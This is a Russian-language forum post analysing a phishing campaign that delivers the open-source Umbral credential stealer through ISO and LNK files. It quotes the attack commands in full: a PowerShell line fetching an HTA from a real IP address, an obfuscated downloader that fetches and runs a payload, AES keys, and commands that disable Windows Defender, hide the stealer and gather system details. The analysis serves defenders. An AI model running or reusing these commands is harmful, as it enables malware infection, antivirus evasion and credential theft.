Всем по зловреду: анализ open-source-стилера Umbral

Discussion in 'Мировые новости. Обсуждения.' started by alexzir, 5 Jun 2023.

  1. alexzir

    alexzir Well-Known Member

    Joined:
    29 Oct 2019
    Messages:
    962
    Likes Received:
    2,311
    Reputations:
    25
    [​IMG]
    Страница Umbral Stealer на GitHub
    Атакующие выбрали довольно тривиальный, но все еще очень эффективный способ доставки — фишинговые письма. Тем не менее в качестве вложения злоумышленники использовали не документы Microsoft Office, а ISO-файлы. Такой файл представляет собой образ оптического диска и после открытия пользователем монтируется как дополнительный в системе. Смонтированный диск содержит LNK-файл с именем «План Рейдеров.lnk», открытие которого и запустит процесс компрометации системы жертвы.

    Сразу после открытия LNK-файла с помощью интерпретатора PowerShell осуществляется запуск файла MsMpEng.hta с удаленного сервера:
    Code:
    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe . $env:C:\W*\S*2\m*h?a.* 'http://46.175.149.13/MsMpEng.hta'
    MsMpEng.hta содержит VBS-скрипт, который расшифровывает массив путем вычитания из каждого элемента числа 60516, переводит этот массив в строку и вызывает ее как команду:

    Code:
    powershell.exe" -ExecutionPolicy UnRestricted function ebdB($aLfxOjmGdGEUS, $zAiPEkMOejCWTcFA){[IO.File]::WriteAllBytes($aLfxOjmGdGEUS, $zAiPEkMOejCWTcFA)};function
    qxgMpLMjmzDowRlT($aLfxOjmGdGEUS){if($aLfxOjmGdGEUS.EndsWith((rdcviFZqRnwcdbvH @(74576,74630,74638,74638))) -eq $True){rundll32.exe $aLfxOjmGdGEUS
    }elseif($aLfxOjmGdGEUS.EndsWith((rdcviFZqRnwcdbvH @(74576,74642,74645,74579))) -eq $True){powershell.exe -ExecutionPolicy unrestricted -File
    $aLfxOjmGdGEUS}elseif($aLfxOjmGdGEUS.EndsWith((rdcviFZqRnwcdbvH @(74576,74639,74645,74635))) -eq $True){misexec /qn /i $aLfxOjmGdGEUS}else{Start-Process
    $aLfxOjmGdGEUS}};function hFmIYHdonzcFhY($RNyieqzJRlYpvCPkF){$LEwHqecvjAoI = New-Object (rdcviFZqRnwcdbvH
    @(74608,74631,74646,74576,74617,74631,74628,74597,74638,74635,74631,74640,74646));[Net.ServicePointManager]::SecurityProtocol =
    [Net.SecurityProtocolType]::TLS12;$zAiPEkMOejCWTcFA = $LEwHqecvjAoI.DownloadData($RNyieqzJRlYpvCPkF);return $zAiPEkMOejCWTcFA};function rdcviFZqRnwcdbvH($jcTJtVjev)
    {$wFHXnAkiLaZC=74530;$tRBkRaiWmupKBiJ=$Null;foreach($EgCggGKPy in $jcTJtVjev){$tRBkRaiWmupKBiJ+=[char]($EgCggGKPy-$wFHXnAkiLaZC)};return $tRBkRaiWmupKBiJ};function
    pjDerNYZPF(){$qKSYbuAHIBPwW = $env:AppData + '\';$ANpF = $qKSYbuAHIBPwW + 'Oilio.bat'; if (Test-Path -Path $ANpF){qxgMpLMjmzDowRlT $ANpF;}Else{ $oOOiiotnzQliM = hFmIYHdonzcFhY
    (rdcviFZqRnwcdbvH
    @(74634,74646,74646,74642,74588,74577,74577,74582,74584,74576,74579,74585,74583,74576,74579,74582,74587,74576,74579,74581,74577,74609,74635,74638,74635,74641,74576,74628,74627,74646));ebdB $ANpF $oOOiiotnzQliM;qxgMpLMjmzDowRlT $ANpF;};;;;}pjDerNYZPF;
    Эта команда загружает и запускает файл с удаленного сервера. Если файл имеет расширение .dll, используется rundll32.exe, если .ps1, то powershell.exe, если .msi — msiexec.exe. В остальных случаях файл запускается без использования дополнительных средств.

    В данном случае с удаленного сервера загружается файл Oilio.bat, который сохраняется в папку C:\Users%Имя_пользователя%\AppData\Roaming.

    Загруженный BAT-файл копирует powershell.exe из C:\Windows\System32 в C:\Users%Имя_пользователя%\AppData\Roaming\Oilio.bat.exe и добавляет его в исключения Windows Defender:
    Code:
    "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\%имя_пользователя%\AppData\Roaming\Oilio.bat.exe'
    После этого запускает сценарий, который извлекает из Oilio.bat строку base64, переводит ее в байты, расшифровывает их с помощью AES-256-CBC с ключом AA778CAE81AA8E082B9DC1B4C43D7170A89749703CE570C71028ABF2EAC4D7E3 и инициализирующим вектором 81C41ECFD66FEDE6888118B6CF1A4DF8, после чего распаковывает полученные данные с помощью алгоритма GZip.

    Полученный в результате .NET-файл проверяет, является ли среда виртуальной машиной VMware, VirtualBox, Hyper-V или QEMU, используя поля Manufacturer и Model из WMI-запроса Select * from Win32_ComputerSystem, и подключен ли к процессу отладчик. Если среда не является виртуальной машиной и отладчик не подключен, продолжает работу. Далее из ресурсов PE извлекается ресурс payload.exe, который расшифровывается AES-256-CBC с ключом 214E766E9025CDD3442F90E7C36E41A80A7B4DE93EACD4B17D10F083935EAD32 и IV 83E8EF88AFB1FD9168733393A3268AFE и распаковывается при помощи алгоритма GZip.

    Полученный файл представляет собой Umbral Stealer. Стилер может добавлять путь к своему телу в исключения, а также изменять настройки Windows Defender:
    Code:
    Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
    В случае если стилер запущен не с административными привилегиями, он предложит пользователю их предоставить.

    Стилер может удалять себя следующей командой:
    Code:
    cmd.exe" /c ping localhost && del /F /A h [путь к телу файла]
    Также стилер добавляет своему телу атрибуты «Скрытый» и «Системный»:
    Code:
    attrib.exe +h +s [путь к телу файла]
    Для сбора информации о скомпрометированной системе используется WMI. Так, для получения уникального идентификатора системы используется следующая команда:
    Code:
    wmic csproduct get uuid
    Для получения информации о видеоадаптере используется следующая команда:
    Code:
    wmic path win32_VideoController get name
    Сбор информации о размере диска системы осуществляется следующим образом:
    Code:
    wmic computersystem get totalphysicalmemory
    Данные о версии операционной системы стилер получает следующей командой:
    Code:
    wmic os get Caption
    Данные о процессоре стилер получает из реестра при помощи PowerShell:
    Code:
    powershell.exe Get-ItemPropertyValue -Path 'HKLM:System\\CurrentControlSet\\Control\\Session Manager\\Environment' -Name PROCESSOR_IDENTIFIER
    Для получения информации о геолокации и об IP-адресе скомпрометированной системы стилер осуществляет запрос по следующему URL:
    Code:
    http://ip-api[.]com/json/?fields=225545
    Чтобы закрепиться в скомпрометированной системе, стилер копирует себя в папку автозагрузки под произвольным именем с расширением .scr.

    Стилер позволяет атакующим извлечь аутентификационные данные из следующих приложений:
    • Brave,
    • Chrome,
    • Chromium,
    • Comodo,
    • Edge,
    • Epic Privacy,
    • Iridium,
    • Opera,
    • Opera GX,
    • Slimjet,
    • UR Browser,
    • Vivaldi,
    • Yandex,
    • Roblox,
    • Minecraft,
    • Discord.
    Кроме того, стилер может создавать снимки с экрана, а также делать снимки с использованием веб-камеры.

    Собранные данные сохраняются в архив с именем Umbral-{Environment.MachineName}.zip и выгружаются с использованием Discord Webhooks.

     
    Suicide likes this.